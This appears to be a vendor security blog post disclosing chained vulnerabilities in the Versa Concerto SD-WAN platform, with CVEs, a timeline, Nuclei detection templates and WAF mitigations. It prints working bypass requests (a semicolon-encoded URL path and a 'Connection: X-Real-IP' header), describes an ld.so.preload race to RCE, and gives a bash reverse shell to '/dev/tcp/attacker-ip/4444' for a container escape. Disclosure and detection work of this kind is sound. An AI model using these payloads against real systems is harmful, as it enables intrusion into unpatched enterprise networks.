-

11 min read

Authentication Bypass to RCE in Versa Concerto (0-Day)

Authentication Bypass to RCE in Versa Concerto (0-Day)

Introduction

Versa Concerto is a widely used network security and SD-WAN orchestration platform, designed to provide seamless policy management, analytics, and automation for enterprises. With a growing customer base that includes large enterprises, service providers, and government entities, the security of this platform is critical. Given its extensive adoption and potential exposure to external threats, we initiated research to assess its security posture and uncover possible vulnerabilities.

Our research led to the discovery of multiple critical security flaws in Versa Concerto’s deployment. In this blog, we explore multiple vulnerabilities discovered in Versa Concerto, a Spring Boot-based application deployed via Docker containers and routed through Traefik.

  • Authentication bypass through URL decoding inconsistencies.
  • Arbitrary file write vulnerabilities leading to remote code execution (RCE).
  • Exploitation of a vulnerable Traefik version to bypass security restrictions and access Spring Boot Actuator endpoints.
  • Docker container escape by leveraging misconfigured volume mappings to overwrite system binaries.

These vulnerabilities, when chained together, could allow an attacker to fully compromise both the application and the underlying host system. This research highlights how small misconfigurations in modern cloud-based deployments can escalate into severe security risks, particularly for platforms handling sensitive network configurations and enterprise data.

Inconsistency in URL processing to auth bypass

Versa Concerto is deployed using multiple Docker containers, with the key ones being:

  • core-service
  • web-service
  • traefik

To understand the appliance’s routing, we start by analyzing the Traefik container. The Traefik container listens on ports 80/443, serving as the entry point for client requests. Based on location configurations, incoming requests are routed to either core-service or web-service. Both of these containers deploys Spring Boot embedded applications. We decompiled their code to audit their authentication mechanisms.

Our primary focus was the AuthenticationFilter class, which is typically responsible for handling authentication in Spring applications. Upon reviewing the decompiled code, we observed that certain paths were explicitly excluded from authentication:

java

1String clienturi = URIUtil.getNormalizeURI(request);
2...
3
4if (clienturi.contains("/actuator") || clienturi.endsWith("/v1/ping") ...) {
5    skipAuth = true;
6}
7
8...

However, we noticed an inconsistency between the authentication check and the actual URL being processed.

java

1public static String getNormalizeURI(HttpServletRequest request) {
2    String uri = request.getRequestURI();
3    return removeExtraSlash(URLDecoder.decode(URI.create(uri).normalize().toString(), StandardCharsets.UTF_8));
4}
  • During the authentication check, the REQUEST_URI undergoes URL decoding.
  • However, the URL is processed without decoding to the controllers.
  • This introduces a Time-of-Check to Time-of-Use (TOCTOU) issue, leading to an authentication bypass.

Bypassing authentication is possible using a request URL like - /portalapi/v1/users/username/admin;%2fv1%2fping

Finding endpoint without authorization checks

After discovering the authentication bypass, we analyzed the authorization mechanisms across the services. Most endpoints enforced strict authorization checks by validating the user’s assigned role. As a result, we were unable to access the majority of critical endpoints within the core-service. Only a handful of endpoints were exposed without authorization checks, but they did not provide a viable path for privilege escalation.

Shifting our focus to the web-service, we identified an endpoint related to package uploads /portalapi/v1/package/spack/upload that appeared to be vulnerable to arbitrary file writes. The logic within this endpoint suggested that we could write files to an arbitrary location on the system, making it a promising vector for further exploitation.

java

1@PostMapping(value = {"spack/upload"}, produces = {"application/json"}, consumes = {"multipart/form-data"})
2@ResponseBody
3@ResponseStatus(HttpStatus.ACCEPTED)
4public ResponseEntity<?> upload(HttpServletRequest httpRequest, HttpServletResponse httpResponse, @RequestParam(name = "spackFile", required = true) MultipartFile spackFile, @RequestParam(name = "spackChecksumFile", required = true) MultipartFile spackChecksumFile, @RequestParam(value = "updatetype", defaultValue = "full") String updateType, @RequestParam(value = "flavour", defaultValue = "premium") String flavour) throws Exception {
5    String spackFilePath = "/var/versa/ecp/share/files/" + spackFile.getOriginalFilename();
6    String spackSigFilePath = "/var/versa/ecp/share/files/" + spackChecksumFile.getOriginalFilename();
7    try {
8        copyPackage(spackFile, spackFilePath); [1]
9        copyPackage(spackChecksumFile, spackSigFilePath); [2]
10        String bearerToken = UserContextHolder.getContext().getUserAccessTken(); [3]
11        if (bearerToken != null) {
12           ...
13        }
14        Status status = new Status();
15        status.setStatus("Bearer Token empty");
16        return new ResponseEntity<>(status, HttpStatus.INTERNAL_SERVER_ERROR);
17    } catch (Exception e) {
18        Files.deleteIfExists(Paths.get(spackFilePath, new String[0])); [4]
19        Files.deleteIfExists(Paths.get(spackSigFilePath, new String[0])); [5]
20        logger.error("Error while uploading Spack", (Throwable) e);
21        return handleException(e, httpRequest);
22    }
23}
24
25private synchronized void copyPackage(MultipartFile uploadFile, String filePath) throws Exception {
26    Files.deleteIfExists(Paths.get(filePath, new String[0]));
27    InputStream inputStream = uploadFile.getInputStream();
28    try {
29        Files.copy(inputStream, Paths.get(filePath, new String[0]), new CopyOption[0]);
30        if (inputStream != null) {
31            inputStream.close();
32        }
33    } catch (Throwable th) {
34        if (inputStream != null) {
35            try {
36                inputStream.close();
37            } catch (Throwable th2) {
38                th.addSuppressed(th2);
39            }
40        }
41        throw th;
42    }
43}

Despite the apparent vulnerability, there was a significant obstacle. While the file was successfully written to disk at [1] and [2], it was immediately deleted inside a try/catch block at [4] an [5]. If any exception occurred during execution, the application would trigger a cleanup process that removed the uploaded file. Specifically, right after writing the file at [1] and [2], the code tried to retrieve the access token from current user context at [3]. This check resulted in a null pointer exception, which in turn caused the deletion of our written file at [4] and [5].

Even though the file was being deleted almost instantly, there's a brief window of time in which an arbitrary file write was possible. This introduced the possibility of a race condition, which could potentially be exploited to use the written file to cause remote code execution.

Race Condition / Remote Code Execution

Initially, we considered exploiting the vulnerability by writing a web shell to the web root. However, since this was a Spring Boot embedded application, it did not follow the traditional file-serving structure, meaning we couldn’t simply drop a shell and execute it as we would in a typical web application.

After ruling out this approach, we explored the possibility of leveraging cron jobs for execution. However, upon further investigation, we discovered that the web-service container did not have cron set up, eliminating this option as well. This forced us to rethink our strategy and look for alternative execution methods.

We then utilized an LD_PRELOAD trick to achieve remote code execution. Our approach involved overwriting ../../../../../../etc/ld.so.preload with a path pointing to /tmp/hook.so. Simultaneously, we uploaded /tmp/hook.so, which contained a compiled C binary for a reverse shell. Since our request triggered two file write operations, we leveraged this to ensure that both files were written within the same request.

Once these files were successfully written, any command execution on the system while both persisted would result in the execution of /tmp/hook.so, thereby giving us a reverse shell. While looking for a suitable trigger, we observed that a curl command was being executed every 10 seconds within the web-service container to check the container’s health status.

Knowing this, we continuously sent requests to write both ../../../../../../etc/ld.so.preload and /tmp/hook.so in a way that created a race condition. Our goal was to ensure that at the exact moment the health check executed, both files would be present on the system. Once all three conditions aligned—the presence of ld.so.preload, the malicious shared object, and a triggered system command—we successfully achieved remote code execution (RCE).

Actuator endpoint authentication bypass to Admin

While analyzing the authentication filter, we noticed that access control for certain endpoints, including the Spring Boot Actuator endpoints, relied on the presence of the X-Real-Ip header. Specifically, if this header was set, the application performed an additional check to determine whether access should be granted.

java

1String clientReapIp = request.getHeader("X-Real-Ip");
2...
3
4if (StringUtils.isNotBlank(clientReapIp)) {
5    if (clinturi.toLowerCase().contains("/actuator")) {
6        this.springBootAuditUtil.extractAuditInfo(request);
7        logger.warn("Blocked external access to actuator uri={} from source ip={}", clinturi, clientReapIp);
8        audit.setReadableText("Blocked access to /actuator for external source IP=" + clientReapIp);
9        audit.setObjectType("Actuator");
10        audit.setTenantName(GraphConstant.DEFAULT_TENANT);
11        response.setStatus(HttpStatus.FORBIDDEN.value());
12        response.getWriter().write("{ \"message\": \"Access denied to /actuator.\"}");
13        audit.setStatus(HttpStatus.FORBIDDEN.toString());
14        return;
15    }
16...

This logic ensures that if an external request contains X-Real-Ip, and the request URI contains /actuator, access is explicitly denied.

As previously mentioned, client requests are initially sent to the Traefik reverse proxy, which then forwards them to the Spring Boot applications running on Tomcat. Traefik automatically sets the X-Real-Ip header when forwarding requests, meaning that external requests are always flagged as originating from an external source.

However, we identified a hop-by-hop header handling vulnerability in the version of Traefik in use. This issue, documented in Traefik Security Advisory GHSA-62c8-mh53-4cqv, allows an attacker to drop specific headers that would otherwise be added by Traefik.

By leveraging this issue, we can drop the X-Real-Ip header from the forwarded request. Without this header, the access control logic is never triggered, and we can access restricted actuator endpoints.

http

1GET /actuator HTTP/1.1
2Host: <Host>
3Connection: X-Real-IP

By setting Connection: X-Real-IP, we instruct Traefik to drop the X-Real-Ip header before forwarding the request to the backend. Since the authentication logic depends on this header’s presence, the request bypasses the security check, granting us direct access to the /actuator endpoints.

This allows to get plain text credentials via downloading heap-dump or/else directly access logs via /portalapi/actuator/traces that would directly disclose logged user session tokens and login into appliance as admin. Once you become an admin, there are various routes available to get Remote Code Execution such as by uploading a security package.

Web-service docker container escape

We also observed a critical misconfiguration that allowed us to escape from web-service docker container and gain execution on the host machine.

On Ubuntu systems, a default cron job exists under /etc/cron.d/popularity-contest, designed to gather usage statistics on installed Debian packages. This cron job executes every hour on the host machine, running a shell script that makes use of commands such as test, touch, and cd.

Ordinarily, this wouldn’t pose a security risk. However, in this case, we discovered that the core-service docker container had /usr/bin/ and /bin/ directories directly mapped to the host’s filesystem. This meant that any changes made to binaries within the container would also apply to the host system.

With root access inside the container, we leveraged this misconfiguration to overwrite one of the frequently used binaries (test) with a malicious shell script. This ensured that when the popularity-contest cron job executed on the host, our payload would be triggered.

With full control over the mapped system binaries, we replaced /usr/bin/test with a script that initiated a reverse shell:

bash

1#!/bin/bash
2bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Make the script executable and wait for the hourly cron job to execute. As expected, when the cron job ran, it called our malicious test binary, granting us a reverse shell on the Concerto host system.

Nuclei templates

Versa Concerto API Auth Bypass:

yaml

1id: versa-concerto-api-auth-bypass
2
3info:
4  name: Versa Concerto API Path Based - Authentication Bypass
5  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
6  severity: critical
7  description: |
8    Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.
9  metadata:
10    verified: true
11    max-request: 1
12    shodan-query: http.favicon.hash:-534530225
13  tags: versa,concerto,api,auth-bypass
14
15http:
16  - raw:
17      - |
18        GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1
19        Host: {{Hostname}}
20
21    matchers-condition: and
22    matchers:
23      - type: word
24        part: body
25        words:
26          - ENTERPRISE_ADMINISTRATOR
27
28      - type: word
29        part: header
30        words:
31          - EECP-CSRF-TOKEN

Versa Concerto Actuator Auth Bypass:

yaml

1id: versa-concerto-actuators-auth-bypass
2
3info:
4  name: Versa Concerto Actuator Endpoint - Authentication Bypass
5  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
6  severity: critical
7  description: |
8    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
9  metadata:
10    verified: true
11    max-request: 1
12    shodan-query: http.favicon.hash:-534530225
13  tags: versa,concerto,actuator,auth-bypass,spring-boot
14
15http:
16  - raw:
17      - |
18        GET /portalapi/actuator HTTP/1.1
19        Host: {{Hostname}}
20        Connection: X-Real-Ip
21
22    matchers-condition: and
23    matchers:
24      - type: word
25        part: body
26        words:
27          - heapdump
28
29      - type: word
30        part: header
31        words:
32          - EECP-CSRF-TOKEN

Mitigation

While we await official patches from the Versa Concerto team, organizations can implement temporary remediation measures at the reverse proxy or Web Application Firewall (WAF) levels to mitigate the risk posed by the identified authentication bypass vulnerabilities. Here are two recommended actions:

  1. Block Semicolons in URL Paths: Implement a rule to block any incoming requests that contain a semicolon (;) in the URL path. This measure will help prevent exploitation of the URL decoding inconsistency that allows authentication bypass.
  2. Drop Requests with Specific Connection Headers: Configure your reverse proxy or WAF to drop any requests where the Connection header contains the value X-Real-Ip (case insensitive). This will mitigate the vulnerability that allows unauthorized access to Spring Boot Actuator endpoints by manipulating the X-Real-Ip header.

By applying these temporary measures, organizations can reduce the risk of exploitation until official patches are released. It is crucial to monitor network traffic and logs for any suspicious activity and to keep security teams informed of these interim protections.

Disclosure Timeline

Despite our efforts to responsibly disclose these issues to the Versa team, including multiple follow-ups over the past 90 days, we have not received any response or indication of a forthcoming patch. As a result, we are compelled to publish our findings to raise awareness and prompt the necessary actions to secure affected systems.

Here's a timeline table of the vulnerability disclosure process:

Date Event
Feb 13, 2025 Vulnerabilities reported to the Versa Concerto team with a 90-day disclosure timeline.
Feb 15, 2025 Acknowledgement received; team requested additional info and mentioned eagerness to patch.
Feb 17, 2025 Additional details provided; team stated they would patch all affected releases soon.
Mar 28, 2025 Team replied, indicating hot fixes and patches would be pushed on April 7th.
Apr 23, 2025 Follow-up email sent regarding hot fixes and patches; no response received.
May 12, 2025 Another follow-up email sent; still no response.
May 13, 2025 90-day disclosure timeline ended.
May 21, 2025 Published this blog post.
May 21, 2025 VulnCheck assigned CVEs for the reported issues:
- CVE-2025-34025: Insecure Docker Mount → Container Escape
- CVE-2025-34026: Actuator Authentication Bypass → Information Leak
- CVE-2025-34027: Authentication Bypass → File Write → RCE

Conclusion

In conclusion, our research into the Versa Concerto platform has uncovered several critical vulnerabilities that pose significant security risks to enterprises relying on this technology. These vulnerabilities, ranging from authentication bypasses to remote code execution and container escapes, highlight the potential for severe exploitation if left unaddressed.

We urge organizations using Versa Concerto to implement additional security measures and remain vigilant until official patches are released. Our hope is that this disclosure will expedite the resolution process and enhance the overall security posture of the platform.

Nuclei template to detect this vulnerability is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.

For any questions, reach us at contact@projectdiscovery.io